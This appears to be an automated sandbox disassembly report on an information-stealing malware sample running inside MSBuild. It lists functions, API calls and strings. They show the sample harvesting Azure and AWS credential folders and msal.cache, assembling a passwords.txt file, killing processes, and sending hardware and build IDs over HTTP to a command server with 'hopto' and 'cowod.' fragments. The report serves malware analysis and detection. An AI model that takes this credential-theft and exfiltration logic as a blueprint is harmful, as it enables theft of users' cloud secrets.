Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00410795: StrCmpCA.SHLWAPI(?,?,?,00408863,?,?,?), ref: 0041079E

CopyFileA.KERNEL32(?,?,00000001), ref: 00408941

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 004122B0: _memset.LIBCMT ref: 004122D7
Part of subcall function 004122B0: OpenProcess.KERNEL32(00001001,00000000,?,00000000,?), ref: 0041237D
Part of subcall function 004122B0: TerminateProcess.KERNEL32(00000000,00000000), ref: 0041238B
Part of subcall function 004122B0: CloseHandle.KERNEL32(00000000), ref: 00412392

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00408AA6
RtlAllocateHeap.NTDLL(00000000), ref: 00408AAD
StrCmpCA.SHLWAPI(?,ERROR_RUN_EXTRACTOR), ref: 00408B95
StrCmpCA.SHLWAPI(?,004371E8), ref: 00408BAB
StrCmpCA.SHLWAPI(?,004371EC), ref: 00408BD3
lstrlenA.KERNEL32(?), ref: 00408CF0
lstrlenA.KERNEL32(?), ref: 00408D0B

Part of subcall function 00416FA7: CreateThread.KERNEL32(00000000,00000000,00416ED6,?,00000000,00000000), ref: 00417046
Part of subcall function 00416FA7: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 0041704E

DeleteFileA.KERNEL32(?), ref: 00408D4E

Strings

ERROR_RUN_EXTRACTOR, xrefs: 00408B8F

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$Processlstrlen$FileHeaplstrcat$AllocateCloseCopyCreateDeleteHandleObjectOpenSingleTerminateThreadWait_memset
String ID: ERROR_RUN_EXTRACTOR
API String ID: 2819533921-2709115261
Opcode ID: 077028fa3e716a35bf32b89dafc6fd792268f45b4b1644074680612183489aa6
Instruction ID: b1bb328f08e938e4400443fd48ceaf11af5fc61e9b4d8feda928490e573589d9
Opcode Fuzzy Hash: 077028fa3e716a35bf32b89dafc6fd792268f45b4b1644074680612183489aa6
Instruction Fuzzy Hash: 02E14F71A00209AFCF01FFA1ED4A9DD7B76AF04309F10502AF541B71A1DB796E958F98

Function 0040852E Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 230
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

CopyFileA.KERNEL32(?,?,00000001), ref: 004085D3
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00408628
RtlAllocateHeap.NTDLL(00000000), ref: 0040862F
lstrlenA.KERNEL32(?), ref: 004086CB
lstrcatA.KERNEL32(?), ref: 004086E4
lstrcatA.KERNEL32(?,?), ref: 004086EE
lstrcatA.KERNEL32(?,0043719C), ref: 004086FA
lstrcatA.KERNEL32(?,?), ref: 00408704
lstrcatA.KERNEL32(?,004371A0), ref: 00408710
lstrcatA.KERNEL32(?), ref: 0040871D
lstrcatA.KERNEL32(?,?), ref: 00408727
lstrcatA.KERNEL32(?,004371A4), ref: 00408733
lstrcatA.KERNEL32(?), ref: 00408740
lstrcatA.KERNEL32(?,?), ref: 0040874A
lstrcatA.KERNEL32(?,004371A8), ref: 00408756
lstrcatA.KERNEL32(?), ref: 00408763
lstrcatA.KERNEL32(?,?), ref: 0040876D
lstrcatA.KERNEL32(?,004371AC), ref: 00408779
lstrcatA.KERNEL32(?,004371B0), ref: 00408785
lstrlenA.KERNEL32(?), ref: 004087BE
DeleteFileA.KERNEL32(?), ref: 0040880B

Strings

passwords.txt, xrefs: 004087CE

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID: passwords.txt
API String ID: 1956182324-347816968
Opcode ID: 0425c30be70ca39626462c834c4dfe654db9ea7e380ceb02c86be48175c27a70
Instruction ID: dc35adcabb2262aeaa3715ac701fce149c27e2d4e5217412d5f4b6884cb75f27
Opcode Fuzzy Hash: 0425c30be70ca39626462c834c4dfe654db9ea7e380ceb02c86be48175c27a70
Instruction Fuzzy Hash: E2814032900208AFCF05FFA1EE4A9CD7B76BF08316F205026F501B31A1EB7A5E559B59

Function 00404B2E Relevance: 35.4, APIs: 12, Strings: 8, Instructions: 378networkstringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400,?), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00404BCD
StrCmpCA.SHLWAPI(?), ref: 00404BEB
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404D83
HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 00404DC7
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00404DF5

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

lstrlenA.KERNEL32(?,00436953,",build_id,004377C4,------,004377B8,",hwid,004377A4,------), ref: 004050EE
lstrlenA.KERNEL32(?,?,00000000), ref: 00405101
HttpSendRequestA.WININET(00000000,?,00000000), ref: 0040510F
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040516C
InternetCloseHandle.WININET(00000000), ref: 00405177
InternetCloseHandle.WININET(?), ref: 0040518E
InternetCloseHandle.WININET(?), ref: 0040519A

Strings

------, xrefs: 00404C75
------, xrefs: 00404F5B
", xrefs: 00404ED9
", xrefs: 00405039
build_id, xrefs: 0040500D
hwid, xrefs: 00404EAD
------, xrefs: 00404DFB
HxA, xrefs: 00405222

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileOptionReadSend
String ID: "$"$------$------$------$HxA$build_id$hwid
API String ID: 3006978581-3648483202
Opcode ID: 3e75520d421d15d17480e17177354ca7258db6304e7740180cb8297fdc3c51f4
Instruction ID: 21305393b516d721eabc2380545c4b93fc8e403c2138cad973479bd5099e6fae
Opcode Fuzzy Hash: 3e75520d421d15d17480e17177354ca7258db6304e7740180cb8297fdc3c51f4
Instruction Fuzzy Hash: 0C02C371D5512A9ACF20EB21CD46ADDB7B5FF04308F4140E6A54873191DAB87ECA8FD8

Function 00401666 Relevance: 35.1, APIs: 18, Strings: 2, Instructions: 129memoryfileCOMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?), ref: 00401696
wsprintfW.USER32 ref: 004016BC
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000100,00000000), ref: 004016E6
GetProcessHeap.KERNEL32(00000008,000FFFFF), ref: 004016FE
RtlAllocateHeap.NTDLL(00000000), ref: 00401705
_time64.MSVCRT ref: 0040170E
srand.MSVCRT ref: 00401715
rand.MSVCRT ref: 0040171E
_memset.LIBCMT ref: 0040172E
WriteFile.KERNEL32(?,00000000,000FFFFF,?,00000000), ref: 00401746
_memset.LIBCMT ref: 00401763
CloseHandle.KERNEL32(?), ref: 00401771
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,04000100,00000000), ref: 0040178D
ReadFile.KERNEL32(00000000,00000000,000FFFFF,?,00000000), ref: 004017A9
_memset.LIBCMT ref: 004017BE
GetProcessHeap.KERNEL32(00000000,00000000), ref: 004017C8
RtlFreeHeap.NTDLL(00000000), ref: 004017CF
CloseHandle.KERNEL32(?), ref: 004017DB

Strings

%s%s, xrefs: 004016B6
delays.tmp, xrefs: 004016A4

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: FileHeap$_memset$CloseCreateHandleProcess$AllocateFreePathReadTempWrite_time64randsrandwsprintf
String ID: %s%s$delays.tmp
API String ID: 1620473967-1413376734
Opcode ID: 39f734473f17f97426e056466eb3bebedc037311c24c273f22620d7e2f0f990d
Instruction ID: 9b5f552432b4e98a6f0c5797751fefc193ccc8af765751ef1568987e4d70ee72
Opcode Fuzzy Hash: 39f734473f17f97426e056466eb3bebedc037311c24c273f22620d7e2f0f990d
Instruction Fuzzy Hash: B641C6B1D00218ABDB205F61AC4CF9F7B7DEB85715F1016BAF00AE10A1DA394E54CF28

Function 004164BD Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 114stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004164E2

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

lstrcatA.KERNEL32(?,00000000,?,00000000,?), ref: 00416501
lstrcatA.KERNEL32(?,\.azure\), ref: 0041651E

Part of subcall function 00415FD1: wsprintfA.USER32 ref: 00416018
Part of subcall function 00415FD1: FindFirstFileA.KERNEL32(?,?), ref: 0041602F
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436AB4), ref: 00416050
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436AB8), ref: 0041606A
Part of subcall function 00415FD1: wsprintfA.USER32 ref: 00416091
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436647), ref: 004160A5
Part of subcall function 00415FD1: wsprintfA.USER32 ref: 004160C2
Part of subcall function 00415FD1: PathMatchSpecA.SHLWAPI(?,?), ref: 004160EF
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?), ref: 00416125
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,00436AD0), ref: 00416137
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,?), ref: 0041614A
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,00436AD4), ref: 0041615C
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,?), ref: 00416170

_memset.LIBCMT ref: 00416556
lstrcatA.KERNEL32(?,00000000), ref: 00416578
lstrcatA.KERNEL32(?,\.aws\), ref: 00416595

Part of subcall function 00415FD1: wsprintfA.USER32 ref: 004160D9
Part of subcall function 00415FD1: CopyFileA.KERNEL32(?,?,00000001), ref: 00416229
Part of subcall function 00415FD1: DeleteFileA.KERNEL32(?), ref: 0041629D
Part of subcall function 00415FD1: FindNextFileA.KERNEL32(?,?), ref: 004162FF
Part of subcall function 00415FD1: FindClose.KERNEL32(?), ref: 00416313

_memset.LIBCMT ref: 004165CA
lstrcatA.KERNEL32(?,00000000), ref: 004165EC
lstrcatA.KERNEL32(?,\.IdentityService\), ref: 00416609
_memset.LIBCMT ref: 0041663E

Strings

\.azure\, xrefs: 00416512
*.*, xrefs: 004165AA
Azure\.azure, xrefs: 00416531
*.*, xrefs: 00416536
\.aws\, xrefs: 00416589
msal.cache, xrefs: 0041661E
\.IdentityService\, xrefs: 004165FD
Azure\.aws, xrefs: 004165A5
Azure\.IdentityService, xrefs: 00416619

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$File_memsetwsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 780282842-974132213
Opcode ID: b2de320116ee48312a564d7ea93f2006b998ac76d702aa901ef76f6d1a7c5bf4
Instruction ID: 84896bacdfb64059cc425482cd21a2e289ba5d14c04e476c3e3a3401a8d995fd
Opcode Fuzzy Hash: b2de320116ee48312a564d7ea93f2006b998ac76d702aa901ef76f6d1a7c5bf4
Instruction Fuzzy Hash: E841C671D4021C7BDB14EB60EC47FDD7378AB09304F6044AAB605A7090EABDAB888F58

Function 0040ABE5 Relevance: 33.3, APIs: 22, Instructions: 315stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

CopyFileA.KERNEL32(?,?,00000001), ref: 0040AC8A
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040AD94
RtlAllocateHeap.NTDLL(00000000), ref: 0040AD9B
StrCmpCA.SHLWAPI(?,004373DC,00000000), ref: 0040AE4C
StrCmpCA.SHLWAPI(?,004373E0), ref: 0040AE74
lstrcatA.KERNEL32(00000000,?), ref: 0040AE98
lstrcatA.KERNEL32(00000000,004373E4), ref: 0040AEA4
lstrcatA.KERNEL32(00000000,?), ref: 0040AEAE
lstrcatA.KERNEL32(00000000,004373E8), ref: 0040AEBA
lstrcatA.KERNEL32(00000000,?), ref: 0040AEC4
lstrcatA.KERNEL32(00000000,004373EC), ref: 0040AED0
lstrcatA.KERNEL32(00000000,?), ref: 0040AEDA
lstrcatA.KERNEL32(00000000,004373F0), ref: 0040AEE6
lstrcatA.KERNEL32(00000000,?), ref: 0040AEF0
lstrcatA.KERNEL32(00000000,004373F4), ref: 0040AEFC
lstrcatA.KERNEL32(00000000,?), ref: 0040AF06
lstrcatA.KERNEL32(00000000,004373F8), ref: 0040AF12
lstrcatA.KERNEL32(00000000,?), ref: 0040AF1C
lstrcatA.KERNEL32(00000000,004373FC), ref: 0040AF28
lstrlenA.KERNEL32(00000000), ref: 0040AF7A
lstrlenA.KERNEL32(?), ref: 0040AF95
DeleteFileA.KERNEL32(?), ref: 0040AFD8

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 4621e81a25ec7d59100a49f80eb619f1591ab482fb232c2b5530b01b4120e834
Instruction ID: fa65740cd413e8b43b9f1f3498c9fbd0cc5fbb49866f189318ef85710a93ab9e
Opcode Fuzzy Hash: 4621e81a25ec7d59100a49f80eb619f1591ab482fb232c2b5530b01b4120e834
Instruction Fuzzy Hash: D4C15D32904208AFDF15EBA1ED4A9DD7B76EF04309F20102AF501B30A1DB7A6E959F95

Function 00417151 Relevance: 29.0, APIs: 8, Strings: 8, Instructions: 1029networksleepCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00410C53: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004013B9), ref: 00410C5F
Part of subcall function 00410C53: RtlAllocateHeap.NTDLL(00000000,?,?,?,004013B9), ref: 00410C66
Part of subcall function 00410C53: GetUserNameA.ADVAPI32(00000000,004013B9), ref: 00410C7A

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

CloseHandle.KERNEL32(00000000,?,?,?,?,0041869F), ref: 004171ED
OpenEventA.KERNEL32(001F0003,00000000,?,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004171FC
CreateDirectoryA.KERNEL32(?,00000000,004366DA), ref: 0041771A
InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004177DB
InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004177F4

Part of subcall function 00404B2E: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00404BCD
Part of subcall function 00404B2E: StrCmpCA.SHLWAPI(?), ref: 00404BEB

Part of subcall function 004139C2: StrCmpCA.SHLWAPI(?,block,?,?,00417854), ref: 004139D7
Part of subcall function 004139C2: ExitProcess.KERNEL32 ref: 004139E2

Part of subcall function 00405F39: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00405FD8
Part of subcall function 00405F39: StrCmpCA.SHLWAPI(?), ref: 00405FF6

Part of subcall function 00413198: strtok_s.MSVCRT ref: 004131B7
Part of subcall function 00413198: strtok_s.MSVCRT ref: 0041323A

Sleep.KERNEL32(000003E8), ref: 00417BAA

Part of subcall function 00405F39: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040618E
Part of subcall function 00405F39: HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 004061D2
Part of subcall function 00405F39: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406200

CreateEventA.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,0041869F), ref: 00417210

Part of subcall function 0041257F: __EH_prolog3_catch_GS.LIBCMT ref: 00412589
Part of subcall function 0041257F: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,0000013C,00417F41,.exe,00436CCC,00436CC8,00436CC4,00436CC0,00436CBC,00436CB8,00436CB4,00436CB0,00436CAC,00436CA8,00436CA4), ref: 004125A8
Part of subcall function 0041257F: Process32First.KERNEL32(00000000,00000128), ref: 004125B8
Part of subcall function 0041257F: Process32Next.KERNEL32(00000000,00000128), ref: 004125CA
Part of subcall function 0041257F: StrCmpCA.SHLWAPI(?), ref: 004125DC
Part of subcall function 0041257F: CloseHandle.KERNEL32(00000000), ref: 004125F0

CloseHandle.KERNEL32(?), ref: 00418110

Strings

org, xrefs: 00417FF7
http://, xrefs: 00417F67
.exe, xrefs: 00417659
_DEBUG.zip, xrefs: 00418045
.exe, xrefs: 00417F14
cowod., xrefs: 00417F8B
hopto, xrefs: 00417FAF
e694b6d50199ea44207a97e25dda5506, xrefs: 0041781C

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
